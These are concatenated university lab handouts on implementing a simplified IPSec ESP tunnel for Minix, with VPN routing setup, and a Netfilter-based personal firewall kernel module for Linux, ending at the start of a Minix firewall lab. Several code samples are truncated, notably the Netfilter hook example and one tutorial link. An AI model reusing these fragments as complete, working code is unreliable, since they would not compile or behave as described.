The learning objective of this lab is for students to integrate a number of essential security principles in the implementation of IPSec. IPSec is a set of protocols developed by the IETF to support secure exchange of packets at the IP layer. IPSec has been deployed widely to implement Virtual Private Networks (VPNs). The design and implementation of IPSec exemplify a number of security principles, including encryption, one-way hashing, integrity, authentication, key management, and key exchange. Furthermore, IPSec demonstrates how cryptography algorithms are integrated into the TCP/IP protocols in a transparent way, such that the existing programs and systems do not need to be aware of the addition of IPSec. In this lab, students will implement a simplified version of IPSec for Minix.

2 Lab Tasks

The entire IPSec protocol is too complicated for a lab that is targeted at four to six weeks. To make it feasible, we only implement a part of the IPSec protocol; in addition, we have made a number of assumptions to simplify the implementation.

(1) ESP Tunneling Mode. IPSec has two different types of headers: Authentication Header (AH) and Encapsulating Security Payload (ESP); moreover, there are two modes of applying IPSec protection to a packet: the Transport mode and the Tunnel mode. In this lab, you only need to implement the ESP tunneling mode. In ESP, the authentication is optional; however, in this lab, we make it mandatory. Namely, the ESP authentication part should be included in every ESP packet.

BEFORE APPLYING ESP

IPv4 | orig IP hdr | | |
| (any options) | TCP | Data |

AFTER APPLYING ESP

IPv4 | New IP hdr | ESP | orig IP hdr | | | ESP | ESP |
| (any options) | Hdr | (any options) | TCP | Data | Padding | Auth |

|<------------------- encrypted ------------->|
|<------------------- authenticated ------------->|
(2) Security Association (SA) To enable IPSec between two hosts, the hosts must be configured. Configuration of IPSec is achieved by defining Security Associations (SAs). A Security Association is a simplex “connection” that affords security services to the traffic carried by it. To secure typical, bi-directional communication between two hosts, or between two security gateways, two Security Associations (one in each direction) are required.

A security association is uniquely identified by a triple consisting of a Security Parameter Index (SPI), an IP Destination Address, and a security protocol (AH or ESP) identifier. There are two types of SAs: transport mode and tunnel mode. Since in this lab, we only implement the tunnel mode, so we only have the tunnel mode SA. We use an example to illustrate the use of SAs:

On Host: 192.168.10.100:

<table>
<thead>
<tr>
<th>Direction</th>
<th>Dest IP</th>
<th>Protocol</th>
<th>Mode</th>
<th>SPI</th>
</tr>
</thead>
<tbody>
<tr>
<td>OUTBOUND</td>
<td>192.168.10.200</td>
<td>ESP</td>
<td>Tunnel</td>
<td>5598</td>
</tr>
<tr>
<td>INBOUND</td>
<td>192.168.10.100</td>
<td>ESP</td>
<td>Tunnel</td>
<td>6380</td>
</tr>
</tbody>
</table>

On Host: 192.168.10.200:

<table>
<thead>
<tr>
<th>Direction</th>
<th>Dest IP</th>
<th>Protocol</th>
<th>Mode</th>
<th>SPI</th>
</tr>
</thead>
<tbody>
<tr>
<td>OUTBOUND</td>
<td>192.168.10.100</td>
<td>ESP</td>
<td>Tunnel</td>
<td>6380</td>
</tr>
<tr>
<td>INBOUND</td>
<td>192.168.10.200</td>
<td>ESP</td>
<td>Tunnel</td>
<td>5598</td>
</tr>
</tbody>
</table>

The first SA on host 192.168.10.100 indicates that for any outbound packet to 192.168.10.200, we would use the ESP tunnel mode to process the packet. The SPI value we put in the ESP header is 5598. It should be noted that the SPI value will be attached to ESP packet, and it allows the receiving side lookup the security parameters (e.g. keys) using this index. The number needs to be unique for a node. The second SA on 192.168.10.100 indicates that for any inbound IPSec packet, if the target is 192.168.10.100, and the SPI in the packet is 6380, then use this entry to process the packet. To make this setting works on 192.168.10.100, the SAs on the other end of the tunnel (192.168.10.200) should be set up accordingly. It should be noted that a SA is set for each direction. That is why we have two SAs on each host to setup a bi-directional tunnel between 192.168.10.100 and 192.168.10.200.

An important part of SAs is Security Parameter Index (SPI). SPI is an 32-bit identifier that helps the recipient select which security parameters to use on the received packet. SPI can be thought of as an index into a table of security parameter settings. In the above example, SPI 5598 refers to the security parameters used by the communication from 192.168.10.100 to 192.168.10.200, and SPI 6380 refers to the security parameters used by the other direction. On both machines, the security parameters indexed by the same SPI should be the same. For example, the following SPIs and security parameters should be set on both machines.

On Host: 192.168.10.100 and 192.168.10.200

<table>
<thead>
<tr>
<th>SPI</th>
<th>Encryption</th>
<th>Key</th>
<th>MAC</th>
</tr>
</thead>
<tbody>
<tr>
<td>5598</td>
<td>AES-CBC</td>
<td>&quot;aaaaa&quot;</td>
<td>HMAC-SHA-256</td>
</tr>
<tr>
<td>6380</td>
<td>AES-CFB</td>
<td>&quot;bbbbbb&quot;</td>
<td>HMAC-MD5</td>
</tr>
</tbody>
</table>

1Note that gateways can have multiple IP addresses, each having different IPSec tunnels.
(3) Setting the Outer IP Header in ESP Tunnel Mode. In ESP tunnel mode, an outer IP header needs to be constructed. Please read the RFC 2401 (Section 5.1.2) for details on how the outer header is constructed. We would like to mention how the src and dest IP addresses are constructed in the outer IP header. The way how they are constructed depends on the type of the IPSec tunnel:

- **Host-to-Host Tunnel:** If we only use IPSec to establish an ESP tunnel between two hosts, then the src and dest IP addresses will be copied from the inner IP header. However, in addition to this host-to-host tunnel,

- **Host-to-Gateway Tunnel:** In this type of tunnel, the src IP is still copied from the inner IP header, but the dest IP becomes an gateway's IP address. For example, an original packet with dest IP $A$ can be wrapped in an IPSec packet with dest IP $G$ ($G$ is a gateway). When the packet arrives at $G$ through the host-to-gateway ESP tunnel, $G$ unwraps the IPSec packet, retrieves the original packet, and routes it to the intended target $A$.

- **Gateway-to-Gateway Tunnel:** in this type of tunnel, both src and dest IP addresses are different from the inner IP header. Settings of src and dest IP addresses should also be defined in SAs, so you should add corresponding fields to the SAs entries used in the previous example.

The host-to-gateway and gateway-to-gateway tunnels are widely used to create Virtual Private Network (VPN), which brings geographically distributed computers together to form a secure virtual network. For example, you can have a host $X$ in London, which creates a host-to-gateway ESP tunnel with a headquarter’s gateway $G$ located in New York. From the security perspective, $G$ can consider that $X$ is directly connected to itself, and no one can compromise the communication between $X$ and $G$, even though the actual communication goes through the untrusted Internet. Therefore, the headquarter can treat $X$ as a member of its own private network, rather than as an outsider.

In this lab, your IPSec implementation should be able to support the host-to-host, host-to-gateway, and gateway-to-gateway tunnels. Moreover, you need to demonstrate how your implementation can be used to construct VPNs. In the guideline, we will describe how to set up your network environment to demonstrate your VPNs.

(4) SA and Key Management. IPSec mandates support for both manual and automated SA and cryptographic key management. The IPSec protocols are largely independent of the associated SA management techniques, although the techniques involved do affect some of the security services offered by the protocols.

The simplest form of management is manual management, in which a person manually configures each system with keying material and security association management data relevant to secure communication with other systems. Manual techniques are practical in small, static environments but they do not scale well. For example, a company could create a Virtual Private Network (VPN) using IPSec in secure gateways at several sites. If the number of sites is small, and since all the sites come under the purview of a single administrative domain, this is likely to be a feasible context for manual management techniques.

Widespread deployment and use of IPSec requires an Internet-standard, scalable, automated, SA management protocol. Such support is required to accommodate on-demand creation of SAs, e.g., for user- and session-oriented keying. (Note that the notion of “rekeying” an SA actually implies creation of a new SA with a new SPI, a process that generally implies use of an automated SA/key management protocol.) The default automated key management protocol selected for use with IPSec is IKE (Internet Key Exchange) under the IPSec domain of interpretation. Other automated SA management protocols may be employed.

In this lab, you only need to implement the manual method; namely, system administrators at both ends of a communication manually setup and manage the SAs and secret keys. Your implementation should provide system administrators with an interface to conduct such manual management.
(5) **Encryption Algorithm.** We assume that AES algorithm (a 128-bit block cipher) is used for encryption and decryption. AES’s key size can be 128 bits, 192 bits, or 256 bits. Your IPSec implementation should be able to support all these three options. The code given in `aes.c` is for encrypting/decrypting one block (i.e. 128 bits); if we need to encrypt/decrypt data that are more than one block, we need to use a specific AES mode, such as ECB (Electronic Code Book), CBC (Cipher Block Chaining), CFB (Cipher Feedback), etc. In this lab, we only support the AES-CBC and AES-CFB modes. You need to implement AES-CBC and AES-CFB using the given AES code.

Both modes require an Initial Vector (IV), which should be carried in each packet. According to RFC 3602 (http://www.faqs.org/rfcs/rfc3602.html), the ESP payload is made up of the IV followed by raw ciphertext. Thus the payload field, as defined in ESP, is broken down according to the following diagram:

```
+---------------+---------------+---------------+---------------+
|               |               |               |               |
|               | Initialization Vector (16 octets) |               |
|               |               |               |               |
+---------------+---------------+---------------+---------------+
```

AES-CBC requires that data must be encrypted as data chunk with 16 bytes unit. If the data is not multiple of 16, we need to pad the data, and save how many octets we have padded. Receivers need this length to restore the original data after decryption.

(6) **MAC Algorithm.** To compute the authentication data in the ESP tail, we need to generate a MAC (Message Authentication Code). A family of MAC algorithms is called HMAC (Hashed MAC), which is built on one-way hash functions. A specific HMAC algorithm is called HMAC-XYZ if the underlying hash function is XYZ. IPSec can support various HMAC instances, such as HMAC-MD5, HMAC-SHA-256, etc. In this lab, we only support HMAC-SHA-256. The implementation of hash algorithm SHA-256 is given to you; you need to use it to implement HMAC-SHA-256. To help you, we provide an implementation of HMAC-MD5, which is quite similar to HMAC-SHA-256.

3 **Design and Implementation Issues**

In this lab, you need to make a number of design and implementation choices. Your choices should be justified, and the justification should be included in your lab report.

1. **IPSec Configuration.** By default, machines communicate with each other without using IPSec. To let two machines $A$ and $B$ communicate using IPSec, system administrators need to configure $A$ and $B$ accordingly. Your system should be able to support such configuration. The configuration should not require a system reboot. You might need to implement some commands to achieve this goal.

When we setup IPSec between $A$ and $B$, but not between $A$ and $C$, $A$ should still be able to communicate with both $B$ and $C$, where IPSec is used between $A$ and $B$, while regular IP is used between $A$ and $C$. Moreover, your implementation should be *backward compatible*; namely, your IPSec-enabled Minix should still be able to communicate with other machines that do not support IPSec.
2. **Transparency.** Your implementation should be transparent to the upper TCP, UDP, and application layers, especially the application layer. Namely, applications such as telnet, ftp, etc. should not be affected at all. You can use these applications to test your IPSec implementation, while turning on sniffers to monitor whether the traffic is encrypted or not.

3. **Fragmentation.** You need to think about when to start IPSec within the IP protocol. Should it be done before fragmentation or after? In your demo, you should demonstrate that IP fragmentation still works. You need to think about how to demonstrate this. You may have to write a program or find a suitable tool to achieve this goal. For example, you can write a program that constructs a large UDP packet; sending this UDP packet will cause fragmentation.

4. **Impact on existing TCP connection.** It is possible that in the middle of an existing TCP connection (over an IPSec tunnel), the key used for the tunnel is modified, but not at the same time for the both ends. Namely, there is a short period of time when the two ends of the IPSec tunnel do not have the same key. What will happen to the existing TCP connection? Will it be broken? If you implement the IPSec correctly, it should not. You need to demonstrate this.

5. **Key Management** You need to think about the following key management issues regarding the keys used by IPSec: what data structure do you use to store keys? where do you store keys? how to secure keys? how to update keys. Regarding key updates, system administrators should be able to add/delete/modify/print the keys dynamically (i.e., there is no need for system rebooting).

4 Suggestions

Based on our past experience with this lab, we have compiled a list of suggestions in the following. It should be noted that this list only serves for suggestion purposes; if your designs or experience are different, feel free to ignore them, but we appreciate it if you can sent us your suggestions.

1. **Modularization.** Modularize your implementation into three major parts: (1) Process outgoing packets in ip_write.c. (2) Process incoming packets in ip_read.c. (3) SA and key management. The third module are loosely connected with the other two modules, and can be independently implemented. However, many students feel that the third module is the easiest to implement among the three modules, because, unlike the previous two modules, it does not require understanding and modification of the IP stack.

2. **Code Reading.** You need to read a lot of Minix code in this lab. It is quite inconvenient to read code in the Minix environment because of the lack of tool support in Minix. We suggest that you copy the entire source code to your host machine (Windows or Linux), and use code-reading tools that are available on those platforms. All the source code of Minix can be found under the /usr directory. We also put a copy of the entire source code on the web page of this lab. Browsing source code of Minix is not easy, because source code is in a number of directories. Sometimes, it is quite difficult to find where a function or data structure is defined. Without right tools, you can always use the generic search tools, such as find and grep. However, many of our past students have suggested a very useful tool called Source Insight, which makes it much easier to navigate source code of a complicated system. It provides an easy way to trace function and data structure definitions, as well as other useful features. This software can be found at http://www.sourceinsight.com; it is not free, but it does have a 30-day free trial period, which should be enough for this lab. Another choice for browsing source code is to use the online Minix source code at http://chiota.tamacom.com/tour/kernel/minix/.
3. **How Minix Networking Works I.** Understanding how networking works in Minix is essential for this project. Several helpful documentations are available. In particular, we highly recommend the documentation at [http://www.os-forum.com/minix/net/](http://www.os-forum.com/minix/net/), which provides a line-by-line analysis of Philip Homburg’s network service for Minix, version 2.0.4 (the version that we use in this lab). Our past students found the documentation very useful. Please focus on three files: buf.c, ip_read.c and ip_write.c. All outgoing IP packets are processed in ip_write.c, and all incoming IP packets sent to up layers (TCP/UDP) are processed in ip_read.c. You need to use functions defined in buf.c and add IPSec functions in ip_read.c and ip_write.c.

4. **How Minix Networking Works II.** We have developed a document to further help you understand how the Minix networking works. The document can be found at the lab web site. It guides you through several source code to show you a big picture on how a packet is forwarded from application to ICMP/TCP/UDP to IP, and then to Ethernet. It also describes how add_route.c and pr_routes.c works. These last two files (in `/usr/src/commands/simple`) can serve as a good example on how to store and maintain (routing) information in the kernel. If your need to do the similar thing (i.e., storing information in the kernel), you can use the system calls in `inet`, such as `ioctl()` in `ip_ioctl.c`, which need to be changed to add more functionalities. The files `pr_routes.c` and `add_routes.c` give you a good example on how to use the system calls.

5. **Network Setup for VPN Demonstration.** Please refer to our document “IPSec Gateway-to-Gateway Network Configuration”. This document is listed in the lab web page.

## 5 Software Engineering

It should be noted that building software for security purpose is quite different from traditional software engineering. Although the common professional software engineering practice still applies to this project to ensure that the developed software system works correctly, extra engineering principles should be followed to ensure the system works securely.

- **Threat evaluation:** Before designing a system, developers should evaluate the potential attacks that the system might face. The design of the system should address how the system can defeat these attacks. In your final project report, you need to include such threat evaluation.

- **Using cryptographic algorithms correctly:** Although the cryptographic algorithms that you use might be strong, using them incorrectly will still make your system vulnerable. There are many real-world stories regarding the misuse of encryption and one-way hash algorithms. In this project, you should make sure that you follow good practice:

  - **Choice of algorithms:** Although in this lab, we have chosen the encryption and MAC algorithms for you. In real world, when you need to make your own choice, you need to understand the strength and weakness of the algorithms. For example, you should never choose DES because of its proven weakness in key length.

  - **Choice of modes:** You should understand the strength of each encryption mode, and avoid using the modes that are weak in security, such as the Electronic Codebook (ECB) mode.

  - **Randomizing initialization vector (IV):** It has been shown that for some encryption algorithm (such as DES), repeating using the same IV is not safe. Therefore, it is a good practice to always use a randomly-generated IV at each time. DO NOT hard-code the IV value in the program.
– **Pseudo-random number generators**: make sure that your pseudo-random number generators are good, i.e., the number that it generates are random and unpredictable.

– **Key management**: One of the challenges in cryptography is key management, i.e., how/where to store keys, how to update keys, how to protect keys, etc. In your project report, you need to describe how you handle the key management problem. In particular, you should describe your key management for the following scenario (you are not required to implement this scenario, but you must describe your design): as we said earlier, in this IPSec project, we allow administrators to manually type in the keys at both ends of an IPSec tunnel. If a computer (e.g. a gateway) needs to establish many IPSec tunnels with other machines, administrators might want the machine to automatically load the keys from a configuration file. Please describe how you plan to implement your system to support this.

– **Security testing**: In addition to testing the functionalities of your system, you should also test the security of your system. The test cases that you use for testing should cover those potential attacks identified in threat evaluation. In your report, you need to include these test cases, and justify how they are related to the threat evaluation.

### 6 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

- The total time of the demo will be 15 minutes, no more additional time would be given. So prepare your demonstration so you can cover the important features.

- You are entirely responsible for showing the demo. We will NOT even touch the keyboard during the demonstration; so you should not depend on us to test your system. If you fail to demo some important features of your system, we will assume that your system does not have those features.

- You need to practice before you come to the demonstration. If the system crashes or anything goes wrong, it is your own fault. We will not debug your problems, nor give you extra time for it.

- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.

- Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.

### 7 Grading Criteria

The grading criteria are described in the following. To gain those points, you need to demonstrate the corresponding features:

1. Crypto library: 10 points.
2. IPSec configuration: 20 points.
   - User-level utilities to allow administrator to configure IPSec tunnels, such as add/delete tunnels, set/update keys, set/update security parameters, etc.
   - Utilities for administrators to list IPSec configuration.

3. IP and ICMP Protocols: 15 points.
   - IP fragmentation should still work. You need to demonstrate how to test this.
   - ICMP-based applications such as ping should still work.

4. TCP and UDP Protocols: 25 points (it should be noted that you are not supposed to modify the TCP and UDP parts, and your IPSec should not affect the these parts).
   - TCP-based applications, such as telnet and ftp, should still work.
   - Updating keys used in a IPSec tunnel should not break the existing TCP connections. You can update the key on one end of an IPSec tunnel; you should be able to see that the existing TCP connections using this tunnel will freeze, but not broken. After you update the keys on the other end of the tunnel, the connections will resume working. This is a good way to test whether your IPSec implementation breaks TCP.
   - UDP-based applications should still work. You can use the provided UDP client/server program to do the testing.

5. Virtual Private Network (VPN): 10 points.

6. Software Engineering and overall impression (20 points): we will evaluate how well you apply the software engineering principles in ensuring the security of your system. It is your responsibility to show us the evidence during your demonstration. If you don’t show us anything regarding this, we will assume that you have not given this a serious thought, and will hence deduct points from you.

8 Reference

IPSect Gateway to Gateway Network Configuration

1 Overview

In our IPSec project, we need to construct a network environment to demonstrate how to use IPSec to implement Virtual Private Network (VPN). In our demonstration, we need to establish an IPSec tunnel between two gateways, so machines in two different networks (connected via the Internet through those two gateways) can communicate securely using the secure tunnel.

In this document, we show how to simulate such an environment using four Minix virtual machines. Because setting up two network interface cards on one Minix machine is not easy, we use one network interface on each gateway. Although this will cause the gateway to send out ICMP Redirect messages, it does not matter. The entire setup is illustrated in Figure 1. In this setup, we want to each packet from HOST1 to HOST2 to route through GW1 and GW2.

Although there are other ways to set up such an environment, this particular setup is the best that we can come up with (we are open to better solutions). This solution has the following properties:

1. Each Minix machine uses only one network card.
2. The network cards in each Minix machine use the same VMWare network Adapter.
3. We do not have to change the code in Minix OS.
4. Different network mask is used so that the network configured by VMWare network Adapter can be separated into different subnets.

2 Configuration

2.1 Configure VMWare Network Adapter

Change the VMWare network adapter to use network mask 255.255.0.0. The adapter could be VMnet8, which is used as NAT. In Windows, You can right-click My Network Places and choose Properties; from there, pick VMWare Network Adapter VMnet8 → Properties → Internet Protocol (TCP/IP) → Properties. You will finally get to a place where you can set the network mask.

2.2 Configure Routing table

Append add_route command at the end of /etc/rc to add routing information. For example, the routing in Figure 1 is set up using the following commands:
**Figure 1: Test Environment Example**

**HOST1**: add outgoing route

```
add_route -g 192.168.133.201 -d 192.168.0.0 -n 255.255.0.0
```

**HOST2**: add outgoing route

```
# add_route -g 192.168.131.201 -d 192.168.0.0 -n 255.255.0.0
```

**GW1**: add incoming route

```
# add_route -i -g 192.168.131.201 -d 192.168.131.0 -n 255.255.255.0 -m 25
# add_route -i -g 192.168.133.154 -d 192.168.133.154 -n 255.255.255.255 -m 25
```

**GW2**: add incoming route

```
# add_route -i -g 192.168.133.201 -d 192.168.133.0 -n 255.255.255.0 -m 25
# add_route -i -g 192.168.131.200 -d 192.168.131.200 -n 255.255.255.255 -m 25
```
Verification. After the change, reboot the machine, and use the following commands to check the results.

```bash
# pr_routes
# pr_routes -i
```

2.3 Configure IP address and Netmask

Because the routing information in our setup is statically configured, we would like each of our machines to stick to the same IP address and Netmask. Therefore, we cannot use `dhcpp`. Instead, we manually configure the IP address and Netmask for each machine. To do this, first use `hostaddr -e` to find out the ethernet address of the network card for each machine, and then add the following to `/etc/dhcp.conf` to set the IP address and Netmask for each machine.

**HOST1:**  set IP = 192.168.133.154 and Netmask = 255.255.255.0:

```bash
# host 192.168.133.0/24 {};
# client 0:c:29:61:ec:8c 192.168.133.154;
```

**HOST2:**  set IP = 192.168.131.200, Netmask = 255.255.255.0

```bash
# host 192.168.131.0/24 {};
# client 0:c:29:77:8c:83 192.168.131.200;
```

**GW1:**  set IP = 192.168.133.201, Netmask = 255.255.0.0

```bash
# host 192.168.0.0/16 {};
# client 0:c:29:d2:d6:dd 192.168.133.201;
```

**GW2:**  set IP = 192.168.131.201, Netmask = 255.255.0.0

```bash
# host 192.168.0.0/16 {};
# client 0:c:29:ab:b5:e4 192.168.131.201;
```

Verification. After the change, reboot machine, then use the following command to check the results:

```bash
# ifconfig
```
1 Overview

The learning objective of this lab is for students to gain the insights on how firewalls work by designing and implementing a simple personal firewall for Linux. A personal firewall controls network traffic to and from a computer, permitting or denying communications based on the security policies set by the administrators.

Firewalls have several types; in this lab, we focus on a very simple type, the packet filter. Packet filters act by inspecting the packets; if a packet matches the packet filter’s set of rules, the packet filter will drop the packet either silently or send an “error responses” to the source. Packet filters are usually stateless; they filter each packet based only on the information contained in that packet, without paying attention to whether a packet is part of an existing stream of traffic. Packet filters often use a combination of the packet’s source and destination address, its protocol, and, for TCP and UDP traffic, the port number.

2 Lab Tasks

In this lab, students need to implement a packet filter for Linux. We will call it miniFirewall. This firewall consists of two components: policy configuration and packet filtering.

2.1 Task 1: Firewall Policies

The policy configuration module is intended for allowing system administrators to set up the firewall policies. There are many types of policies that can be supported by personal firewalls, starting from very simple to fairly complex. For miniFirewall, the minimal requirements on policies are described in the following, but you are encouraged (and will be rewarded) if your firewall can support more sophisticated policies. Basically, your firewall should be able to block or unblock incoming and outgoing packets based on the following criteria:

1. **Protocol**: It specifies which protocol a policy applies to. The protocol can be TCP, UDP, or ICMP.

2. **Source and Destination address**: Match packets with source and destination addresses. As used by many packet filters, address/netmask combination is often used to block an address range.

3. **Source and Destination port number**: Match packets with source and destination port numbers.

4. **Action**: Specify the actions when a packet matches with a rule. Common actions include
   - **BLOCK**: block packets.
   - **UNBLOCK**: used in conjunction with BLOCK to allow packets from just one address through while the entire network is blocked.
Configuration Tools. You need to implement a tool to allow the administrator to configure the firewall policies. Let us call this tool minifirewall. We give a few examples on how this tool can be used. However, feel free to change the syntax according to your own preference.

- **minifirewall --in --proto ALL --action BLOCK**
  Block all incoming packets.

- **minifirewall --in --proto TCP --action UNBLOCK**
  Allow only TCP incoming packets.

- **minifirewall --in --srcip 172.16.75.43 --proto ALL --action BLOCK**
  Block all the packets from the given IP address.

- **minifirewall --out --destip 172.20.33.22 --proto UDP --action UNBLOCK**
  Unblock the outgoing UDP packets if the destination is 172.20.33.22.

- **minifirewall --in --srcip 172.16.0.0 --srcnetmask 255.255.0.0 --destport 80 --proto TCP --action BLOCK**
  Block all incoming TCP packets from the 172.16.0.0/16 network if the packets are directed towards port 80.

- **minifirewall --print**
  Print all rules.

- **minifirewall --delete 3**
  Delete the 3rd rule.

### 2.2 Task 2: Packet Filtering

The main part of firewall is the filtering part, which enforces the firewall policies set by the administrator. Since the packet processing is done within the kernel, the filtering must also be done within the kernel. This requires us to modify the Linux kernel. In the past, this has to be done by modifying the kernel code, and rebuild the entire kernel image. The modern Linux operating system provides several new mechanisms to facilitate the manipulation of packets without requiring the kernel image to be rebuilt. These two mechanisms are Loadable Kernel Module (LKM) and Netfilter.

LKM allows us to add a new module to the kernel on the runtime. This new module enables us to extend the functionalities of the kernel, without rebuilding the kernel or even rebooting the computer. The packet filtering part of our miniFirewall can be implemented as an LKM. However, this is not enough. In order for our module to block incoming/outgoing packets, our module must be inserted into the packet processing path. This cannot be easily done in the past before the Netfilter is introduced into the Linux.

Netfilter is designed to facilitate the manipulation of packets by authorized users. Netfilter achieves this goal by implementing a number of *hooks* in the Linux kernel. These hooks are inserted into various places, including the packet incoming and outgoing paths. If we want to manipulate the incoming packets, we simply need to connect our own programs (within LKM) to the corresponding hooks. Once an incoming packet arrives, our program will be invoked. Our program can decide whether this packet should be blocked or not; moreover, we can also modify the packets in the program.

In this task, you need to use LKM and Netfilter to implement the packet filtering module. This module will fetch the firewall policies from a data structure, and use the policies to decide whether packets should be blocked or not. You should be able to support a dynamic configuration, i.e., the administrator can dynamically change the firewall policies, your packet filtering module must automatically enforce the updated policies.
Storage of policies. Since your configuration tool runs in the user space, the tool has to send the data to the kernel space, where your packet filtering module, which is a LKM, can get the data. The policies must be stored in the kernel memory. You cannot ask your LKM to get the policies from a file, because that will significantly slow down your firewall.

3 Guidelines

3.1 Loadable Kernel Module

The following is a simple loadable kernel module. It prints out "Hello World!" when the module is loaded; when the module is removed from the kernel, it prints out "Bye-bye World!". The messages are not printed out on the screen; they are actually printed into the /var/log/syslog file. You can use dmesg | tail -10 to read the last 10 lines of message.

```c
#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
    printk(KERN_INFO "Hello World!\n");
    return 0;
}

void cleanup_module(void)
{
    printk(KERN_INFO "Bye-bye World!\n");
}
```

We now need to create Makefile, which includes the following contents (the above program is named hello.c). Then just type make, and the above program will be compiled into a loadable kernel module.

```make
obj-m += hello.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

Once the module is built by typing make, you can use the following commands to load the module, list all modules, and remove the module:

- `sudo insmod mymod.ko` (inserting a module)
- `lsmod` (list all modules)
- `sudo rmmod mymod.ko` (remove the module)

Also, you can use `modinfo mymod.ko` to show information about a Linux Kernel module.
3.2 Interacting with Loadable Kernel Module

In our miniFirewall, the packet filtering part is implemented in the kernel, but the policy setting is done at the user space. We need a mechanism to pass the policy information from a user-space program to the kernel module. There are several ways to do this; a standard approach is to use /proc. Please read the article from http://www.ibm.com/developerworks/linux/library/l-proc.html for detailed instructions. Once we set up a /proc file for our kernel module, we can use the standard write() and read() system calls to pass data to and from the kernel module.

```c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/vmalloc.h>
#include <asm/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Fortune Cookie Kernel Module");
MODULE_AUTHOR("M. Tim Jones");

#define MAX_COOKIE_LENGTH PAGE_SIZE

static struct proc_dir_entry *proc_entry;
static char *cookie_pot;  // Space for fortune strings
static int cookie_index;  // Index to write next fortune
static int next_fortune;  // Index to read next fortune

ssize_t fortune_write( struct file *filp, const char __user *buff,
                        unsigned long len, void *data );

int fortune_read( char *page, char **start, off_t off,
                  int count, int *eof, void *data );

int init_fortune_module( void )
{
    int ret = 0;

    cookie_pot = (char *)vmalloc( MAX_COOKIE_LENGTH );

    if (!cookie_pot) {
        ret = -ENOMEM;
    } else {
        memset( cookie_pot, 0, MAX_COOKIE_LENGTH );
        proc_entry = create_proc_entry( "fortune", 0644, NULL );
        if (proc_entry == NULL) {
            ret = -ENOMEM;
            vfree(cookie_pot);
            printk(KERN_INFO "fortune: Couldn’t create proc entry\n");
        }
        
        // Other code...
    }
}
```
The function to read a fortune is shown as following:

```c
int fortune_read( char *page, char **start, off_t off,
                  int count, int *eof, void *data )
{
    int len;

    if (off > 0) {
        *eof = 1;
        return 0;
    }

    /* Wrap-around */
    if (next_fortune >= cookie_index) next_fortune = 0;
    len = sprintf(page, "%s\n", &cookie_pot[next_fortune]);
    next_fortune += len;

    return len;
}
```

The function to write a fortune is shown as following. Note that we use `copy_from_user` to copy the user buffer directly into the `cookie_pot`.

```c
ssize_t fortune_write( struct file *filp, const char __user *buff,
                       unsigned long len, void *data )
```
{ 
    int space_available = (MAX_COOKIE_LENGTH-cookie_index)+1;

    if (len > space_available) {
        printk(KERN_INFO "fortune: cookie pot is full!\n");
        return -ENOSPC;
    } 

    if (copy_from_user( &cookie_pot[cookie_index], buff, len )) { 
        return -EFAULT;
    } 

    cookie_index += len;
    cookie_pot[cookie_index-1] = 0;
    return len;
}

3.3 A Simple Program that Uses Netfilter

Using Netfilter is quite straightforward. All we need to do is to hook our functions (in the kernel module) to the corresponding Netfilter hooks. Here we show an example from an online tutorial, which is available at the following URL:

http://www.topsight.net/article.php/2003050621055083/print

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                    struct sk_buff *skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff *))
{
    return NF_DROP; /* Drop ALL packets */
}

/* Initialization routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook = hook_func; /* Handler function */
When compiling some of the examples from the tutorial, you might see an error that says that `NF_INET_PRE_ROUTING` is undefined. Most likely, this example is written for the older Linux kernel. Since version 2.6.25, kernels have been using `NF_INET_PRE_ROUTING`. Therefore, replace `NF_IP_PRE_ROUTING` with `NF_INET_PRE_ROUTING`, this error will go away (the replacement is already done in the code above).

### 3.4 The `iptables` program

Linux has a tool called `iptables`, which is essentially a firewall built upon the Netfilter mechanism. You can consider miniFirewall as a mini-version of `iptables`. You are encourage to play with `iptables` to gain some inspiration for your own design. However, copying the code from `iptables` is strictly forbidden. Moreover, you may find some tutorials that also provide sample code for simple firewalls. You can learn from those tutorials and play with the sample code, but you have to write your own code. In your lab reports, you need to submit your code, and explain the key parts of your code.

### 3.5 Parsing Command Line Arguments

Because our `miniFirewall` program needs to recognize command line arguments, we need to parse these arguments. If the syntax for the command line arguments is simple enough, we can directly write code to parse them. However, our `miniFirewall` has to recognized options with a a fairly sophisticated syntax. We can use `getopt()` and `getopt_long()` to systematically parse command line arguments. Please read the tutorial in the following URL:


### 4 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. Please list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.
Minix Firewall Lab

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1 Overview

The learning objective of this lab is for students to learn how firewall works by implementing a simple personal firewall for Minix. A personal firewall controls network traffic to and from a computer, permitting or denying communications based on a security policy.

Firewalls have several types; in this lab, we focus on a very simple type, the packet filter. Packet filters act by inspecting the packets; if a packet matches the packet filter’s set of rules, the packet filter will drop the packet either silently or send an “error responses” to the source. Packet filters are usually stateless; they filter each packet based only on the information contained in that packet, without paying attention to whether a packet is part of an existing stream of traffic. Packet filters often use a combination of the packet’s source and destination address, its protocol, and, for TCP and UDP traffic, the port number.

2 Lab Tasks

In this lab, students need to implement a packet filter for Minix. We will call it minifirewall. This firewall consists of two components: policy configuration and packet filtering.

2.1 Task 1: Firewall Policies

